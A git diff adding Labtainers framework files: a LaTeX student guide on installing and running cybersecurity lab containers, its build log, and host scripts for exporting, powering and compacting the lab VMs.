+{/globaldict where{pop globaldict}{userdict}ifelse/pdfmark/cleartomark load put} +ifelse +[ +/Title(Introduction) +/Count -1 +/Action/GoTo/Dest(section.1)cvn +/OUT pdfmark +[ +/Title(Obtaining and installing Labtainers) +/Action/GoTo/Dest(subsection.1.1)cvn +/OUT pdfmark +[ +/Title(Performing a Lab) +/Count -7 +/Action/GoTo/Dest(section.2)cvn +/OUT pdfmark +[ +/Title(Interrupting and Completing Labs) +/Action/GoTo/Dest(subsection.2.1)cvn +/OUT pdfmark +[ +/Title(Redoing a Lab) +/Action/GoTo/Dest(subsection.2.2)cvn +/OUT pdfmark +[ +/Title(Checking your work) +/Action/GoTo/Dest(subsection.2.3)cvn +/OUT pdfmark +[ +/Title(Getting Help and Things to Avoid) +/Action/GoTo/Dest(subsection.2.4)cvn +/OUT pdfmark +[ +/Title(Networking) +/Action/GoTo/Dest(subsection.2.5)cvn +/OUT pdfmark +[ +/Title(Installing and Using Labtainers Behind a Web Proxy) +/Action/GoTo/Dest(subsection.2.6)cvn +/OUT pdfmark +[ +/Title(Limitations) +/Action/GoTo/Dest(subsection.2.7)cvn +/OUT pdfmark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf new file mode 100644 index 000000000..4163c49c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex new file mode 100644 index 000000000..e2f0d39a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.tex @@ -0,0 +1,239 @@ +%------------------------------------------------------------------------ +% +% Labtainer Student Guide +% +% Author: Michael Thompson +% +% NOTICE: This document was developed for the Labtainer framework by the +% Naval Postgraduate School, Center for Cybersecurity and Cyber Operations +% under National Science Foundation Award No. 1438893. +% This work is in the public domain, and cannot be copyrighted. +%------------------------------------------------------------------------ +\documentclass[12pt]{article} +\usepackage{geometry} +\geometry{a4paper, total={170mm,257mm},left=20mm, top=10mm,} +\usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} +\usepackage{bookmark} +\usepackage{pdfpages} +\usepackage[autostyle, english = american]{csquotes} +\begin{document} +\title {Labtainer Student Guide} +\maketitle + +%---------------- +\section {Introduction} +This manual is intended for use by students performing labs with Labtainers. +Labtainers assume you have a Linux system, e.g., a virtual machine. If you +do not have a Linux system, our website includes pre-built virtual +machine images at \url{https://my.nps.edu/web/c3o/virtual-machine-images}. +Alternately, refer to Appendix A and B for installation of +VirtualBox and a Linux system on either a Mac or a Windows computer. +Note that any Linux system can be used as long as it supports Docker. + +Labtainers provide a consistent execution environment for performing +laboratory exercises, and can simulate the execution of several different +computers interconnected via virtual networks. + +%---------------- +\subsection{Obtaining and installing Labtainers} +If you are using one of the pre-configured virtual machines from +\url{https://my.nps.edu/web/c3o/virtual-machine-images}, you may +skip this section. +The Labtainer framework is distributed as a tarball from: +\url{https://my.nps.edu/web/cisr/labtainers}. +Click the link named: ``Download the Labtainer framework'', and untar the resulting file into +a permanent directory on your Linux system, e.g., into \verb ~/home. For example, if you downloaded the file +from a browser on your Linux system: +\begin{verbatim} + cd + tar -xf ~/Downloads/labtainer.tar +\end{verbatim} +From the directory into which you untarred the +tarball start the installer script: +\begin{verbatim} + cd labtainer + ./install-labtainer.sh +\end{verbatim} + +This script will install the latest version of Docker and packages required +by the Labtainer framework. It will cause your Linux host to reboot when it +completes. +Note that older Linux distributions, e.g., Ubuntu 14.* lack the +\textit{realpath} package, which should be installed prior to using Labtainers. + +After the Linux host reboots, open a terminal to your Linux host and +change directory to wherever you untarred the tarball, e.g., your HOME directory. + +%---------------- +\section{Performing a Lab} +All labs are run from the same Labtainer workspace directory, which is typically at: +\begin{verbatim} + cd ~/labtainer/labtainer-student +\end{verbatim} +\noindent The prepackaged virtual machines automatically start a terminal in this directory. + +To see a list of available labs, run the {\tt labtainer} command with no arguments: +\begin{verbatim} + labtainer +\end{verbatim} +Then run a specific lab, include the name of the lab: +\begin{verbatim} + labtainer +\end{verbatim} +\noindent where \textit{labname} is the name of the lab to run. + +Most labs direct you to a PDF version of a lab manual, which can usually +be done by right clicking on the displayed path, or you can open the file in a browser. +Please note that some of the initial lab instructions repeat the steps you've already taken, and you need +not perform those again. + +A list of labtainer commands can be found in Appendix C of this document. + +Once you start the lab, you will typically see one or more virtual terminals conneted to computers within +the lab. While running the lab, if you require more virtual terminals, use: +\begin{verbatim} + moreterm.py +\end{verbatim} +\noindent where \textit{container} is the host name of the component on which to attach a terminal. +It can be omitted for labs having a single component. + +The virtual terminals for most labs present bash shells via which you can interact +with the attached computer, (which is actually a Docker container designed to appear +like a separate computer). A single computer +may have multiple virtual terminals attached to it. Each computer is independent, and +may use networks to interact with other Labtainer computers within the lab. + +Many labs automatically gather results of your work, which you will provide to your instructor. +Note that, unless otherwise directed, exploration and experimentation you perform either before +or after performing the expected activity will not diminish or dilute your results. And you typically +do not have to take actions to collect or record your results. This occurs automatically as noted in the next section. + +%---------------- +\subsection{Interrupting and Completing Labs} +When you want to stop working for a while or are finished and ready to turn it in to your instructor, type: +\begin{verbatim} + stoplab +\end{verbatim} + +\noindent from the Linux system from which you issued the {\tt labtainer} command. All changes to the files, etc. will be preserved and you will be able to resume the lab just the way you started it. You can resume your work, as needed. + +The {\tt stoplab }command always displays the directory containing a zip file that should be provided to your instructor. It shows the current results of your work. + +The easiest way to forward the complete zip file to the instructor is to start a browser, e.g., Firefox, on the VM from which you +are running Labtainers. Then use the browser to either email the zip file, or upload it into an LMS system, e.g., Sakai. +Alternately, you can configure the VM to use a shared folder, and use that to copy the zip file to the host computer. + +%---------------- +\subsection{Redoing a Lab} +Sometimes you might want to redo the lab from the beginning. In this case, type: +\begin{verbatim} + labtainer -r +\end{verbatim} +This will delete any previous containers associated with this lab and start it fresh. \textbf{Warning}: this will cause all previous data from the named lab to be lost. + +%---------------- +\subsection{Checking your work} +Some labs include criteria by which to automatically assess your progress. +Where enabled and supported, this feature can be utilized by issuing the {\tt checkwork} command from Linux system. +That command can be run while the lab is still running. + +%---------------- +\subsection{Getting Help and Things to Avoid} +To get help, type: +\begin{verbatim} + labtainer -h +\end{verbatim} +\noindent from the Linux system from which you issued the {\tt labtainer} command. A list of useful labtainer commands will be displayed. + +Do not run multiple labs simultaneously. Consistent results cannot be guaranteed when more than one lab runs at the same time. + +%---------------- +\subsection{Networking} +In addition to network properties defined for the lab, +each component \texttt{/etc/host} file includes a ``my\_host entry'' that names +the host Linux. Most containers will include a default gateway that +leads to the Linux host. This allows students to scp files to/from the container and host. +It also allows the student to reach external networks, e.g., to fetch additional packages in +support of student exploration. + +In some instances, the lab requires one or more components to a have different default route. +Typically, these components will include a \textit{togglegw.sh} script that the student +can use to toggle the default gateway between one that leads to the host, and one defined for the lab. +This allows students to add packages on components having lab-specific default gateways. +Use of the \textit{togglegw.sh} script is not necessary to reach the Linux host, (e.g., to scp files). + +%---------------- +\subsection{Installing and Using Labtainers Behind a Web Proxy} +If you are not behind a web proxy, ignore this section (most school environments +are not behind proxies). +If you are behind a web proxy, Labtainer installation +requires that you have configured your Linux package management configuration to reflect +the proxy, e.g., the /etc/atp/apt.conf or /etc/dnf.conf files. + +Additionally, you will need to configure your Docker service as described at: +\url{https://docs.docker.com/engine/admin/systemd/#httphttps-proxy} +And set the HTTP\_PROXY environment variable to your proxy, e.g., +\begin{verbatim} +HTTP_PROXY=http://myproxy:3128 +\end{verbatim} +If you wish to use apt-get from within a container to add new software to a container, you +must first modify the container's /etc/apt/apt.conf file to reflect your proxy. + +%---------------- +\subsection{Limitations} +The Labtainer ``computers'' are individual Docker containers that are interconnected via virtual +networks. These containers each share the Linux kernel of your host. Thus, a change +to the kernel configuration on one computer, (e.g., enabling ASLR), will be visible on +other containers, as well as your host. + +It is suggested that the student's Linux host be a virtual machine that is +not used for purposes requiring trust. Software programs contained in cybersecurity lab +exercises are not, in general, trusted. And while Docker containers provide namespace +isolation between the containers and the Linux host, the containers run as privileged. +Labtainers run as Docker containers and use the Docker group +which is root-equivalent. In other words, even though you start a Docker container +as a non-privileged user, software in the resulting container can modify the Linux host, +e.g., the VM. + +The computers each include a ``local'' directory beneath the HOME directory. This is used +by the Labtainer framework and includes results that get packaged up for forwarding to the +instructor. Do not modify any files beneath the .local directory. Otherwise, you can treat +those containers as Linux systems, and explore them. + +Pasting multiple commands into a labtainer terminal may result in the not all of the +commands being executed. + +\appendix +\includepdf[pages=1,pagecommand={ \thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxMac.pdf} +\includepdf[pages=2-,pagecommand={\thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxMac.pdf} + +\appendix +\includepdf[pages=1,pagecommand={ \thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxWin.pdf} +\includepdf[pages=2-,pagecommand={\thispagestyle{empty}}, fitpaper=true]{InstallingVB-LinuxWin.pdf} + +\appendix +\pagenumbering{Alph} +\setcounter{page}{3} +\section* {Appendix C: Labtainer Command Summary} +\label{sec:appendixC} +The following labtainer commands are available from the \texttt{labtainer/labtainer-student} +directory: +\begin{itemize} +\item \texttt{labtainer --} +Start the named lab. If no name is given, a list of available labs will be displayed. +\item \texttt{stoplab --} Stop the currently running lab. +\item \texttt{moreterm.py --} create a new virtual terminal for the container. +\item \texttt{labtainer -r --} +Delete any previous containers associated with this lab and start it fresh. \textbf{Warning}: this will lose any +previous data from the named lab. +\end{itemize} + +Most labs display lab instructions in one of the windows that appears after the lab starts. If those instructions +stop displaying, e.g., because ``q'' is pressed in that window, then type the following in a virtual terminal (e.g., +in a new terminal created using the moreterm.py script: +\begin{verbatim} + less instructions.txt +\end{verbatim} + + +\end{document} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/student.log b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/student.log new file mode 100644 index 000000000..4139f02b5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/student.log @@ -0,0 +1,319 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2017.4.28) 1 MAY 2017 15:04 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**student +(./student.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo +File: size10.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/geometry/geometry.sty +Package: geometry 2010/09/12 v5.6 Page Geometry + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifvtex.sty +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +\Gm@cnth=\count87 +\Gm@cntv=\count88 +\c@Gm@tempcnt=\count89 +\Gm@bindingoffset=\dimen103 +\Gm@wd@mp=\dimen104 +\Gm@odd@mp=\dimen105 +\Gm@even@mp=\dimen106 +\Gm@layoutwidth=\dimen107 +\Gm@layoutheight=\dimen108 +\Gm@layouthoffset=\dimen109 +\Gm@layoutvoffset=\dimen110 +\Gm@dimlist=\toks15 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package hobsub Info: Skipping package `ifvtex' (already loaded). +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package hobsub Info: Skipping package `ifpdf' (already loaded). +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen111 +\Hy@linkcounter=\count90 +\Hy@pagecounter=\count91 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count92 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Option `colorlinks' set `true' on input line 4319. +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count93 + +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip10 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen112 +\Fld@menulength=\count94 +\Field@Width=\dimen113 +\Fld@charsize=\dimen114 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring ON on input line 6313. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count95 +\c@Item=\count96 +\c@Hfootnote=\count97 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count98 +\c@bookmark@seq@number=\count99 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip43 +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bookmark.sty +Package: bookmark 2011/12/02 v1.24 PDF bookmarks (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bkm-pdftex.def +File: bkm-pdftex.def 2011/12/02 v1.24 bookmark driver for pdfTeX (HO) +\BKM@id=\count100 +)) +(./student.aux) +\openout1 = `student.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 6. +LaTeX Font Info: ... okay on input line 6. + +*geometry* driver: auto-detecting +*geometry* detected driver: pdftex +*geometry* verbose mode - [ preamble ] result: +* driver: pdftex +* paper: a4paper +* layout: +* layoutoffset:(h,v)=(0.0pt,0.0pt) +* modes: +* h-part:(L,W,R)=(56.9055pt, 483.69684pt, 56.90553pt) +* v-part:(T,H,B)=(28.45274pt, 731.23582pt, 85.35828pt) +* \paperwidth=597.50787pt +* \paperheight=845.04684pt +* \textwidth=483.69684pt +* \textheight=731.23582pt +* \oddsidemargin=-15.36449pt +* \evensidemargin=-15.36449pt +* \topmargin=-80.81725pt +* \headheight=12.0pt +* \headsep=25.0pt +* \topskip=10.0pt +* \footskip=30.0pt +* \marginparwidth=65.0pt +* \marginparsep=11.0pt +* \columnsep=10.0pt +* \skip\footins=9.0pt plus 4.0pt minus 2.0pt +* \hoffset=0.0pt +* \voffset=0.0pt +* \mag=1000 +* \@twocolumnfalse +* \@twosidefalse +* \@mparswitchfalse +* \@reversemarginfalse +* (1in=72.27pt=25.4mm, 1cm=28.453pt) + +\AtBeginShipoutBox=\box26 +(/usr/share/texlive/texmf-dist/tex/latex/graphics/color.sty +Package: color 2016/01/03 v1.1b Standard LaTeX Color (DPC) + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/color.cfg +File: color.cfg 2007/01/18 v1.5 color configuration of teTeX/TeXLive +) +Package color Info: Driver file: pdftex.def on input line 143. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX +\Gread@gobject=\count101 + +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count102 +\scratchdimen=\dimen115 +\scratchbox=\box27 +\nofMPsegments=\count103 +\nofMParguments=\count104 +\everyMPshowfont=\toks16 +\MPscratchCnt=\count105 +\MPscratchDim=\dimen116 +\MPnumerator=\count106 +\makeMPintoPDFobject=\count107 +\everyMPtoPDFconversion=\toks17 +))) +Package hyperref Info: Link coloring ON on input line 6. + (/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count108 +) +LaTeX Info: Redefining \ref on input line 6. +LaTeX Info: Redefining \pageref on input line 6. +LaTeX Info: Redefining \nameref on input line 6. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <12> on input line 9. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <8> on input line 9. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <6> on input line 9. + + +LaTeX Warning: No \author given. + +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <7> on input line 17. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <5> on input line 17. +[1 + +{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] +LaTeX Font Info: Try loading font information for OMS+cmr on input line 69. + +(/usr/share/texlive/texmf-dist/tex/latex/base/omscmr.fd +File: omscmr.fd 2014/09/29 v2.5h Standard LaTeX font definitions +) +LaTeX Font Info: Font shape `OMS/cmr/m/n' in size <10> not available +(Font) Font shape `OMS/cmsy/m/n' tried instead on input line 69. +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 104. + [2] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 104. + (./student.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 104. +Package atveryend Info: Empty hook `AtEndAfterFileList' on input line 104. +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 104. + ) +Here is how much of TeX's memory you used: + 5536 strings out of 494953 + 82179 string characters out of 6180977 + 168918 words of memory out of 5000000 + 8810 multiletter control sequences out of 15000+600000 + 8101 words of font info for 29 fonts, out of 8000000 for 9000 + 14 hyphenation exceptions out of 8191 + 29i,6n,30p,199b,318s stack positions out of 5000i,500n,10000p,200000b,80000s + +Output written on student.pdf (2 pages, 88166 bytes). +PDF statistics: + 70 PDF objects out of 1000 (max. 8388607) + 58 compressed objects within 1 object stream + 7 named destinations out of 1000 (max. 500000) + 33 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README new file mode 100644 index 000000000..07d9b8d02 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/README @@ -0,0 +1,17 @@ +README for scripts run on a Linux host to create and test +Labtainer VM appliances for VirtualBox and VMWare. + +Power up / down baseline so it can update. +Then do export: + +cd vbox +./poweronVB.sh +./poweroffVB.sh +./exportVB.sh + +That will create a testvm. Test with it, then publish with exportVB.sh. + +Use +dd if=/dev/zero of=wipefile bs=1024x1024; rm wipefile +on the VM to zero unused space, then +run compact.sh to squeeze the vm. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt new file mode 100644 index 000000000..b799560b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/push.txt @@ -0,0 +1,7 @@ +open mfthomps@205.155.65.42 +cd /data/sites/CyberCIEGE/downloads +option transfer binary +put z:\home\mike\labtainer-scripts\vbox\LabtainerVM-VirtualBox.ova +put z:\home\mike\labtainer-scripts\vmware\LabtainerVM-VMWare.ova +close +exit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh new file mode 100755 index 000000000..50b79b492 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/registry/start_reg.sh @@ -0,0 +1 @@ +docker run -d -p 5000:5000 --restart=always -e REGISTRY_HTTP_ADDR=testregistry:5000 --name registry registry:2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh new file mode 100755 index 000000000..c1ce5d158 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/compact.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# shrink a vmdk disk, first use +#[cce_bash] +#sudo dd if=/dev/zero of=/emptyfile bs=1M +#sudo rm -rf /emptyfile +#[/cce_bash] +# +# to zero unused space +# +vmware-vdiskmanager -k ~/VirtualBox\ VMs/Labtainer\ VM/*vmdk diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh new file mode 100755 index 000000000..0f7cf7daf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/exportVB.sh @@ -0,0 +1,6 @@ +#!/bin/bash +rm LabtainerVM-VirtualBox.ova +vboxmanage export "Labtainer VM" -o LabtainerVM-VirtualBox.ova +vboxmanage unregistervm LabtainerVM-test --delete +vboxmanage import LabtainerVM-VirtualBox.ova --vsys 0 --vmname LabtainerVM-test +vboxmanage startvm "LabtainerVM-test" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh new file mode 100755 index 000000000..f5e98555e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweroffVB.sh @@ -0,0 +1,2 @@ +#!/bin/bash +vboxmanage controlvm "Labtainer VM" acpipowerbutton diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh new file mode 100755 index 000000000..27b64bd00 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vbox/poweronVB.sh @@ -0,0 +1,3 @@ +#!/bin/bash +#vboxmanage startvm "Labtainer VM" --type headless +vboxmanage startvm "Labtainer VM" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh new file mode 100755 index 000000000..622e93b53 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/compact.sh @@ -0,0 +1,3 @@ +# first use dd if=/dev/zero of=wipefile bs=1024x1024; rm wipefile on the VM +vmware-vdiskmanager -k /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-disk1.vmdk + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh new file mode 100755 index 000000000..6c3428c05 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/export.sh @@ -0,0 +1,7 @@ +#!/bin/bash +rm -f ./LabtainerVM-VMWare.ova +ovftool /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx ./LabtainerVM-VMWare.ova +rm -f /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test* +ovftool -n=LabtainerVM-VMWare-test LabtainerVM-VMWare.ova /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx +vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh new file mode 100755 index 000000000..63a3ae57a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweroff.sh @@ -0,0 +1 @@ +vmrun stop /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh new file mode 100755 index 000000000..99ded9003 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/poweron.sh @@ -0,0 +1 @@ +vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare.vmx diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh new file mode 100755 index 000000000..262ae5ea9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/vmware/teston.sh @@ -0,0 +1,3 @@ +#!/bin/bash +vmrun start /home/mike/vmware/LabtainerVM-VMWare/LabtainerVM-VMWare-test.vmx 